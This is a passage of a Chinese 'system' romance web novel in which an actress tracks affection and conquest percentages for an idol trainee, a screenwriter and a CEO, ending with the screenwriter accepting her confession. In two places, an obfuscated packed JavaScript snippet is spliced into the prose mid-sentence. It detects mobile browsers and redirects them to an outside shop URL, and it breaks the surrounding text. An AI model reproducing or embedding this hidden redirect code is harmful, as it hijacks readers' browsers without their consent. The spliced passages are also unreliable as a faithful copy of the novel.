周向晨忽然从口袋里拿出一个小小的钥匙扣,是个迷你的相机造型,漆掉了一小块,却被擦得干干净净:“上次你说喜欢摄影,我在基地小卖部看到的,给你。” 尚知遥接过钥匙扣,指尖触到冰凉的金属,心里泛起一阵暖意:“谢谢你,我很喜欢,正好挂在我的相机包上。” 两人在练习室待了四十多分钟,周向晨又练了会儿舞,尚知遥坐在旁边看着,偶尔给他递水、擦汗。 少年们训练的热情很有感染力,看着他们为了一个动作反复打磨,为了一个音符反复练习,她忽然觉得,自己之前纠结的那些“掌控”“依附”,好像也没那么重要了——至少还有人在为纯粹的梦想拼尽全力,而她,也该为自己的演员身份多做点什么。 下午五点,尚知遥不得不离开。周向晨送她到基地门口,眼神里满是不舍:“姐姐,周六的舞台,你会一直看到最后吗?” “会,”尚知遥点头,“我会在台下给你鼓掌。” 坐上车,助理提醒她:“尚小姐,霍总刚才又发消息问了,让我们尽快回酒店。” 尚知遥“嗯”了一声,拿出手机给霍景宴回了消息:“在路上了,大概六点到酒店。” 回到酒店时,霍景宴已经在套房里等她。餐桌上摆着刚做好的开胃菜,是她喜欢的山楂糕和凉拌木耳。“回来了?” 28. 第 28 章 他从沙发上站起来,目光落在她脖子上的项链上,语气带着满意,“项链戴着很合适。” “谢谢霍总。”尚知遥坐下,拿起一块山楂糕放进嘴里,酸甜的味道刚好缓解了下午的疲惫。 霍景宴坐在她对面,没提她下午去了哪里,也没问见了谁,只说:“晚上的私房菜需要穿正式点,我让助理给你准备了礼服,在卧室里,你去试试。” 他的不在意带着刻意的疏离,不是真的不关心,而是不愿意承认自己在意她的行踪。 尚知遥心里清楚,却没点破,只是点点头:“好。” 礼服是一条香槟色的吊带长裙,裙摆缀着细碎的水钻,既不张扬,又足够精致。 霍景宴看到她穿礼服出来,眼神亮了亮,伸手帮她理了理裙摆:“很合适。” 私房菜设在一栋老洋房里,包厢里的装修很雅致,墙上挂着复古的油画。 霍景宴显然是这里的常客,老板亲自来打招呼,还特意送了一道她喜欢的糖醋排骨。 吃饭时,霍景宴偶尔会给她夹菜,却很少说话,大多时候在看手机处理工作。 尚知遥也没主动找话题,安静地吃着东西,心里却在想周六周向晨的出道舞台——许淮之前说下午有空,或许可以约他一起去。 回到酒店时已经是晚上九点。 尚知遥刚洗漱完,手机就震动起来,是周向晨发来的视频请求。 她接起,看到少年穿着睡衣,头发湿漉漉的,显然刚洗完澡。 “姐姐,你今天开心吗?”周向晨的声音带着刚洗完澡的沙哑,眼神里满是期待。 “挺开心的,”尚知遥笑着说,“你今天练得怎么样?solo部分熟了吗?” “熟了!我刚才还对着镜子练了一遍,”周向晨说着,还想在镜头前演示,却被尚知遥拦住,“别练了,早点睡,明天还要彩排。” “知道了,”周向晨点点头,犹豫了几秒,小声说,“姐姐,周六的舞台,你会一个人来吗?” 尚知遥愣了一下,随即明白他在担心什么——怕霍景宴会一起去。 她想了想,还是如实回答:“我想约许老师一起去,他说想看看年轻演员的舞台状态。” “许老师?”周向晨的语气放松了些,又有些不好意思,“那……到时候你们别嫌我跳得不好。” “不会,你跳得很好。”尚知遥笑着说,“早点睡吧,晚安。” “晚安,姐姐。”周向晨的声音带着笑意,挂视频前还挥了挥手。 尚知遥放下手机,刚想躺下,许淮的消息又发了过来:“周六周向晨的出道舞台,我查了时间,下午两点,我刚好有空,一起去?” “好!”她立刻回复,心里的石头落了地——有许淮一起,既能避免单独面对周向晨的紧张,也能让霍景宴那边更“安全”。 “那周六下午一点,体育馆门口见。”许淮的回复很快,还加了个微笑的表情。 【系统提示:周向晨好感度提升至78%,攻略进度提升至62%;霍景宴好感度维持80%;许淮好感度提升至60%】 第二天早上,尚知遥按照约定去练习生基地看周向晨彩排。 刚到门口,就看到许淮的车停在路边。“我刚好路过,一起进去?”他摇下车窗,笑着说。 “好啊。”尚知遥拉开车门坐进去,心里有些惊讶——许淮很少主动提去基地,显然是怕她单独面对周向晨的紧张,特意来陪她。 练习室里,周向晨正在练solo部分。钢琴声透过音响传来,他坐在舞台中央的椅子上,动作轻柔却有力,眼神里满是专注,和平日里那个会撒娇的少年判若两人。 “进步很快。”许淮站在门口,轻声说,“他对舞台有天赋,更重要的是有敬畏心,这很难得。” 尚知遥点点头,心里满是感慨。 周向晨的努力不是为了讨好谁,而是为了自己的梦想,这种纯粹的热爱,在这个功利的圈子里,太珍贵了。 彩排结束后,周向晨看到许淮,有些惊讶,随即笑着打招呼:“许老师好!” “你好,”许淮点点头,语气温和,“solo部分很有感染力,尤其是结尾的眼神,很打动人。” 得到前辈的认可,周向晨的脸瞬间红了,不好意思地挠了挠头:“谢谢许老师,我还会再练的。” 没有刻意的比较,没有暗藏的敌意,只是纯粹的前辈对后辈的鼓励,这种氛围,比任何刻意营造的“和谐”都更让人舒服。 离开基地时,许淮忽然说:“陈姐刚才给我发消息,说话剧导演对你的兴趣很大,想下周约你聊聊角色,你要是有空,我帮你安排。” “有空!”尚知遥连忙点头,心里充满了感激。 许淮的人脉介绍从来都不是强加的,而是基于对她能力的认可,这种尊重,比任何资源都更让她觉得珍贵。 “好,我跟陈姐对接时间。”许淮笑着说,没再多提,仿佛只是在说一件普通的小事。 尚知遥回到酒店时,霍景宴正在客厅里处理工作。看到她回来,只是抬了抬头:“回来了?晚上想吃什么?” “随便什么都好。”尚知遥坐在沙发上,拿起手机翻看着周向晨彩排的照片,嘴角带着笑意。 霍景宴的目光落在她的手机屏幕上,没问照片里是谁,也没问她下午去了哪里,只是说:“明天我要去外地出差,大概三天回来,你要是有什么事,给我打电话。” “好。”尚知遥点点头,心里有些惊讶——他竟然没追问她的行踪,或许是终于学会了“尊重”,又或许是不愿意承认自己的在意。 周六很快就到了。市体育馆门口挤满了粉丝,举着应援牌,喊着练习生的名字。 尚知遥和许淮刚走到门口,就看到周向晨的粉丝举着“周向晨加油”的灯牌,热情地喊着他的名字。 “人气很高。”许淮笑着说,“看来他的努力没白费。” 尚知遥点点头,心里满是期待。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720309|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >舞台上的灯光渐渐亮起,练习生们穿着统一的白色服装走上舞台,音乐响起的瞬间,全场粉丝的欢呼声几乎要掀翻屋顶。 周向晨站在第一排,眼神坚定,动作有力,脸上带着自信的笑容。 到了solo环节,舞台灯光暗了下来,只有一束追光落在他身上。 他坐在钢琴前,手指落在琴键上,熟悉的旋律响起,是尚知遥之前在练习室哼过的一首老歌。 “这首歌,想送给一直支持我的人,”周向晨的声音透过麦克风传遍整个体育馆,目光直直地看向尚知遥的方向,“谢谢你愿意相信我,愿意看我一点点成长。” 尚知遥看着舞台上的少年,眼泪差点掉下来。 她知道,这份感谢是纯粹的,没有掺杂任何功利的想法,只是单纯的“谢谢陪伴”。 许淮坐在旁边,注意到她的情绪,递过来一张纸巾,小声说:“他很珍惜你这份支持。” 尚知遥接过纸巾,擦了擦眼角,笑着说:“他值得。” 舞台结束后,周向晨跑下台,第一时间冲到尚知遥面前,喘着气说:“姐姐,我刚才有没有出错?” “没有,很好听,”尚知遥递给他一瓶水,“你辛苦了。” 许淮也走过来,拍了拍周向晨的肩膀:“很精彩的舞台,尤其是钢琴部分,情感很到位。以后要是有影视歌三栖发展的想法,可以找我聊聊,我认识几个音乐制作人。” 周向晨眼睛亮了起来,连忙道谢:“谢谢许老师!我以后一定会努力的!” 离开体育馆时,天色已经暗了下来。 许淮送尚知遥回酒店,路上忽然说:“陈姐那边跟话剧导演约好了,下周三下午两点,在咖啡馆见面,到时候我陪你一起去。” “谢谢许老师,”尚知遥心里一暖,“总是麻烦你。” “不用客气,”许淮笑着说,“好演员值得被更多人看到,你有这个实力。” 回到酒店,尚知遥刚打开门,就看到霍景宴的行李放在客厅里——他提前从外地回来了。 “回来了?”他从沙发上站起来,目光落在她身上,没提她去了哪里,只说,“给你带了礼物,在卧室里。” 尚知遥走进卧室,看到床头柜上放着一个丝绒盒子,打开是一条蓝宝石项链,款式华丽,却不是她喜欢的风格。 她拿着项链走出卧室,对霍景宴说:“谢谢霍总,很漂亮。” “喜欢就好。”霍景宴的语气很平淡,却带着一丝期待。 尚知遥把项链放在茶几上,没提自己下午去看舞台的事,也没提许淮和周向晨,只是说:“我有点累,先去休息了。” “嗯。”霍景宴点点头,没再说话,重新拿起手机处理工作。 卧室里,尚知遥靠在床头,看着手机里周向晨舞台的视频,嘴角忍不住上扬 【系统提示:三位目标好感度均维持在安全线以上,攻略进度整体提升至68%。宿主成功平衡各目标关系,请继续推进。】 29. 第 29 章 【宿主,检测到许淮好感度82%,攻略进度35%,好感度持续上涨,攻略进度停滞超过72小时,建议宿主重新评估互动方式,确认目标情感认知偏差。】 窗外的阳光透过百叶窗,在地板上投出细碎的光斑,可尚知遥的心里却像被乌云笼罩,满是困惑。 这已经是她连续两周主动推进与许淮的互动了。 从艺术展后的话剧彩排邀约,到小众餐厅的“约会”,再到深夜清吧的谈心,她几乎用尽了系统推荐的“情感升温技巧”,许淮的好感度从60%一路涨到82%,可攻略进度却像被钉死在35%,纹丝不动。 “到底哪里错了?”尚知遥对着镜子叹气。 今天她特意选了一条米白色的真丝连衣裙,领口缀着细碎的珍珠,化了淡妆,连香水都选了许淮之前提过喜欢的木质调,为的就是晚上和他的“剧本讨论会”——说是讨论会,可她心里早就把这当成了约会。 手机震动,是许淮发来的消息:“晚上七点,‘拾光’餐厅见,我带了新剧本的人物小传,顺便跟你说下话剧导演的后续安排。” 末尾加了个钢笔的表情,依旧是纯粹的工作口吻。 尚知遥深吸一口气,回复:“好,我准时到。” 指尖划过屏幕上“拾光”餐厅的名字——上周许淮提过这家餐厅的主厨擅长做创意融合菜,她当时特意记下来,以为是他暗示的约会地点,现在看来,或许只是她想多了。 晚上六点五十,尚知遥提前十分钟到达餐厅。 餐厅藏在老城区的巷子里,门口挂着暖黄色的灯笼,推门进去,木质桌椅搭配绿植,氛围温馨又小众。 许淮已经到了,坐在靠窗的位置,面前摊着一叠手稿,穿着简单的白色衬衫,袖口挽到小臂,正低头用笔在纸上标注着什么。 “许老师,不好意思,我来晚了?”尚知遥走过去,故意放慢脚步,想让他注意到自己的打扮。 许淮抬头,眼睛亮了亮,却落在她手里的包上:“没晚,我也是刚到。你这包不错,能装不少东西,下次带剧本出门方便。” 说着,把面前的手稿推给她,“你看这个新角色,女编剧林溪,我觉得很适合你,她对创作的执着,跟你对表演的态度很像。” 尚知遥坐在他对面,心里泛起一丝失落——他完全没注意到她的裙子,没提她的妆容,甚至没问一句“今天怎么穿得这么漂亮”。 她强压下情绪,拿起手稿,指尖划过纸上的字迹:“林溪这个角色,是不是有您自己的影子?” “有一点,”许淮笑了,眼神里满是对角色的热爱,“我大学时写剧本,也跟她一样,为了一个细节熬通宵,被导师否定了十几次也不放弃。后来才明白,创作就是不断推翻再重建的过程。” 服务员送来菜单,许淮熟练地点了几道菜:“他们家的黑松露意面和香煎鳕鱼不错,你试试?上次跟陈姐来吃过,味道很正宗。” 他完全没问她的意见,却精准点了她喜欢的口味——不是因为观察到她的喜好,而是上次艺术展时,她随口提过一句喜欢清淡的西餐,他记在了心里,却只用在照顾朋友的层面。 吃饭时,许淮全程都在聊新剧本的细节,从林溪的人物逻辑,到剧情的冲突设计,甚至拿出手机,播放他收集的音效素材:“你听这个雨声,我觉得适合林溪熬夜写剧本时的场景,能烘托她的孤独感。” 尚知遥点点头,努力跟上他的思路,偶尔插一两句对角色的理解,可心思却总忍不住飘到“攻略进度”上。 她偷偷查看系统,屏幕上依旧显示“许淮好感度83%,攻略进度35%”,连0.1%的浮动都没有。 “许老师,”她鼓起勇气,打断他的话,“你觉得……我除了适合演林溪,还适合演什么样的角色?” 许淮愣了一下,认真思考起来:“你可塑性很强,既能演林薇那样的隐忍,也能演活泼的角色,甚至反派也可以试试,你的眼神里有股韧劲,能撑起复杂的人物。”他顿了顿,补充道,“不过目前还是先专注林溪,这个角色能让你突破之前的形象。” 又是工作。尚知遥垂下眼帘,搅了搅盘子里的意面,小声说:“许老师,我们……除了工作,就不能聊点别的吗?” “别的?”许淮疑惑地看着她,“你是有什么心事?还是工作上有压力?要是觉得林溪这个角色太难,我们可以再调整,不用急。” 尚知遥看着他真诚的眼睛,忽然觉得无力——他不是故意回避,是真的没懂。 她深吸一口气,决定再试一次,故意靠近他,声音放软:“我是说……比如,聊聊我们自己?比如,许老师有没有喜欢的人?” 许淮的脸颊微微泛红,挠了挠头,语气有些不好意思:“目前还没有,主要精力都在创作上,没时间想这些。而且我觉得,感情这种事要看缘分,遇到能聊得来、懂彼此的人不容易。” “那你觉得,我算是能跟你聊得来的人吗?”尚知遥追问,心跳不自觉加快。 “当然算!”许淮立刻点头,眼神坚定,“你是我合作过的演员里,最懂我剧本的人,很多时候,你一提点,我就有新的灵感。这种‘同频’的感觉,很难得。” “只是……同频的合作伙伴?”尚知遥的声音带着一丝颤抖。 许淮没听出她的失落,还笑着补充:“不止是合作伙伴,还是知己。能遇到一个懂创作、又能互相理解的知己,比什么都重要。” “知己”两个字像重锤,砸在尚知遥的心上。 她看着许淮认真的表情,知道再追问下去也没用,只能勉强笑了笑:“是啊,能遇到您这样的知己,也是我的幸运。” 饭后,许淮提议去附近的清吧坐坐。 “那边有个朋友驻唱,唱的民谣很有味道,能给林溪的角色找些灵感。” 尚知遥点头答应,心里却抱着最后一丝希望——或许在轻松的氛围里,他能点燃他们之间的火花。 清吧里灯光昏暗,驻唱歌手抱着吉他,唱着舒缓的民谣。 许淮点了两杯莫吉托,递给尚知遥一杯:“少喝点,这个度数不高,能放松下。” 尚知遥接过酒杯,看着杯壁上的水珠,忽然觉得有些委屈。 她故意喝得快了些,脸颊很快泛起红晕,眼神也变得迷离。她靠在椅背上,看着许淮:“许老师,你说……人为什么会喜欢上一个人啊?” 许淮以为她是工作压力大,叹了口气,语气温柔:“可能是因为对方身上有你向往的特质,或者在某个瞬间,你们的灵魂产生了共鸣。就像我写剧本,遇到一个好角色,会忍不住投入全部感情,因为她能承载我想表达的东西。” “那你对我……有没有过一点点‘共鸣’?”尚知遥盯着他的眼睛,声音带着酒后的坦诚。 许淮愣了一下,随即笑了:“当然有啊!你对剧本和角色的理解总是让我很惊喜,我们的想法常常完全重合……这种共鸣很难得的。” 又是角色!尚知遥心里的最后一丝希望也破灭了。 她拿起酒杯,又喝了一大口,眼泪差点掉下来:“许老师,你真的……一点都没察觉吗?” “察觉什么?”许淮皱起眉,有些担心地看着她,“你是不是不舒服?要是累了,我们就回去。” “我没事。”尚知遥摇摇头,强忍着眼泪,“就是觉得……有点孤独。” 许淮沉默了几秒,拍了拍她的肩膀,语气真诚:“别担心,创作路上是会有孤独的时候,但你不是一个人。以后有什么想法,随时跟我说,我们一起讨论,一起把林溪这个角色做好。” 他的安慰像棉花,柔软却没力道,完全没戳中她的痛点。 尚知遥看着他,忽然觉得很累。 她做了这么多,暗示了这么久,他却始终停留在“朋友”“知己”“合作伙伴”的层面,连一丝一毫的“异性好感”都没察觉到。 系统冰冷的声音一如既往地响起:【许淮好感度85%,攻略进度35%,建议宿主采取更直接的互动方式,打破当前关系壁垒。】 “更直接的方式……”尚知遥喃喃自语,心里做了一个决定。 她要直接表白,不管结果如何,至少要让他知道她的心意,总比这样漫无目的地暗示要好。 接下来的几天,尚知遥故意减少了和许淮的联系,一方面是为了调整心态,另一方面是想让他稍微察觉“少了点什么”。 可许淮却完全没在意,只是偶尔发来新剧本的片段,问她的意见,语气和之前没什么不同。 周五下午,尚知遥接到许淮的电话,说新剧本的大纲调整好了,让她去他的工作室聊聊,顺便把之前借她的手稿拿回去。 尚知遥深吸一口气,决定就在今天,跟他摊牌。 许淮的工作室在一栋文创园里,不大却很温馨,书架上摆满了书籍和剧本,墙上挂着他收集的老相机和电影海报。看到尚知遥来,许淮笑着招手:“你来了,快坐,我刚泡了普洱茶,你尝尝。” 尚知遥坐在他对面,看着他递过来的茶杯,指尖微微发抖。 她没接茶杯,而是直视着他的眼睛:“许老师,我有话想跟你说。” 许淮愣了一下,放下手里的茶壶:“怎么了?是不是剧本有问题?还是话剧导演那边有变动?” “都不是,”尚知遥深吸一口气,声音带着一丝颤抖,“是关于我和你的。许老师,我喜欢你,不是朋友的喜欢,是想跟你谈恋爱的喜欢。之前跟你看展、吃饭、去清吧,我都以为是约会,我以为你能察觉到我的心意,可……可你好像一直把我当朋友。” 许淮的眼睛瞬间睁大,手里的茶杯差点掉在桌上。他愣了几秒,语气带着难以置信:“你……你说什么?喜欢我?” “是,”尚知遥点头,眼泪差点掉下来,“我知道这可能很突然,可是我忍不住了。我尝试了很多方法,想让你明白,可你好像一直没懂。许老师,你对我……有没有一点点喜欢?” 许淮的表情从震惊慢慢变成愧疚,他抓了抓头发,语气有些慌乱:“知遥,对不起,我……我真的没察觉。我一直把你当成很重要的知己,是能一起聊创作、聊角色的拍档。我以为我们是志趣相投的朋友,从来没往谈恋爱这方面想过。我不是……我真的从没往那方面想。” 他的话像一把刀,狠狠扎在尚知遥的心上。 不是拒绝,是完全没察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732328|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是把她的所有暗示都当成了朋友间的互动。 她看着许淮真诚又愧疚的眼神,知道他没说谎,可这种“被忽视”的感觉,比被直接拒绝更让她难受。 “对不起,打扰了。”尚知遥猛地站起来,眼泪终于掉了下来,“是我误会了,我……我先走了。” 她没等许淮再说什么,转身就往门口跑,手忙脚乱地拉开门,甚至忘了拿放在沙发上的包。 许淮想叫住她,却没来得及,只能看着她的背影消失在门口,心里满是愧疚和慌乱。 尚知遥跑出文创园,坐在路边的长椅上,眼泪止不住地掉。 她不明白,为什么自己的心意会被完全忽视,为什么许淮能精准记住她的饮食喜好,能为她的角色熬夜打磨剧本,却偏偏察觉不到她的喜欢。 她甚至开始怀疑,是不是自己的暗示太隐晦,是不是自己的魅力不够。 不知过了多久,手机震动起来,是许淮发来的消息:“你的包忘在我这里了,要是方便,我给你送过去?或者你什么时候过来拿?” 尚知遥擦了擦眼泪,回复:“我现在过去拿。”她不能让自己的包留在他那里,更不能让自己看起来太狼狈。 回到工作室时,许淮正坐在沙发上,手里拿着她的包,眉头紧锁,像是在思考什么。看到她进来,他立刻站起来,语气带着小心翼翼:“知遥,你……还好吗?” “我没事,”尚知遥接过包,声音有些沙哑,“谢谢你帮我收着,我先走了。” “等等!”许淮拉住她的手腕,眼神里满是认真,“知遥,你别走,我有话跟你说。” 尚知遥停下脚步,却没回头,心里满是疲惫。 “刚才你走后,我想了很多,”许淮的声音带着一丝紧张,却很坚定,“我一直把精力放在创作上,对感情的事很迟钝,从来没认真考虑过‘喜欢’这件事。我以为‘知己’就是最好的关系,却忽略了你的感受。对不起,是我太迟钝,没察觉到你的心意。” 他顿了顿,深吸一口气:“知遥,我不想因为我的迟钝失去你这个朋友,更不想让你受委屈。之前我没把你当成异性看待,是我的问题。现在我知道了,我想……我想从新的角度考虑我们的关系,试着把你当成‘喜欢的人’去了解,去感受。你能不能……再给我一点时间?” 尚知遥猛地回头,不敢相信自己的耳朵。 她看着许淮认真的眼神,里面没有敷衍,没有愧疚,只有真诚的期待。眼泪又掉了下来,这次却是惊喜的泪。 “许老师,你……你说真的?”她的声音带着颤抖。 “是真的,”许淮点头,语气坚定,“我从来没跟人表白过,也没认真喜欢过谁,可能会做得不好,但我会努力。明天……明天你有空吗?我们去上次你说想去的那家美术馆,不是为了找灵感,就是……就是单纯的约会,好不好?” 尚知遥看着他紧张又认真的样子,忽然破涕为笑。她用力点头:“好,我有空。” 许淮看着她的笑容,也松了口气,嘴角不自觉上扬:“那明天上午十点,美术馆门口见?我提前订好票。” “好。”尚知遥点头,心里的乌云终于散去,取而代之的是满满的期待。 【叮咚!检测到许淮好感度88%,攻略进度上涨到40%】 听到40%,尚知遥终于笑了。 想不到对待许淮,她倒是成了那个感情中的“引导者”。 回到酒店,尚知遥刚打开门,就看到霍景宴坐在客厅里,脸色有些阴沉。 “去哪了?”他的声音带着不易察觉的怒意,“给你发消息不回,打电话也不接。” 尚知遥愣了一下,才发现手机里有十几个未接来电,都是霍景宴打来的。 她刚才太专注于和许淮的事,完全没注意。 “对不起,霍总,刚才有点事,没看到手机。” 霍景宴的目光落在她泛红的眼睛上,眉头皱得更紧:“哭了?谁欺负你了?” “没有,”尚知遥摇摇头,不想跟他提许淮的事,“就是有点累,眼睛不舒服。” 霍景宴没再追问,却站起身,走到她面前,伸手摸了摸她的脸颊:“以后有事给我打电话,别一个人扛着。晚上想吃什么?我让厨房准备。” “不用了,霍总,我有点累,想先休息。”尚知遥避开他的手,语气带着疏离。 霍景宴的手僵在半空,眼神里闪过一丝不悦,却没再说什么:“那你好好休息,有事随时叫我。” 尚知遥点点头,转身走进卧室关上门,心情有些复杂。 霍景宴的关心依旧如期而至,可现在的她,心思全在明天和许淮的约会身上,没精力去应付他的情绪。 她拿出手机,给许淮发了条消息:“明天见,期待我们的约会。” 很快,许淮回复了:“明天见,我也很期待。” 尚知遥笑了笑,不论如何,总要把许淮的感情认知掰正,化主动为被动。 至于霍景宴……她再次查看系统中的好感度详情,更是忍不住笑出了声。 这个一直把自己当作替身、自恃深情的霸总,倒是从未让她担心过好感度和攻略进度。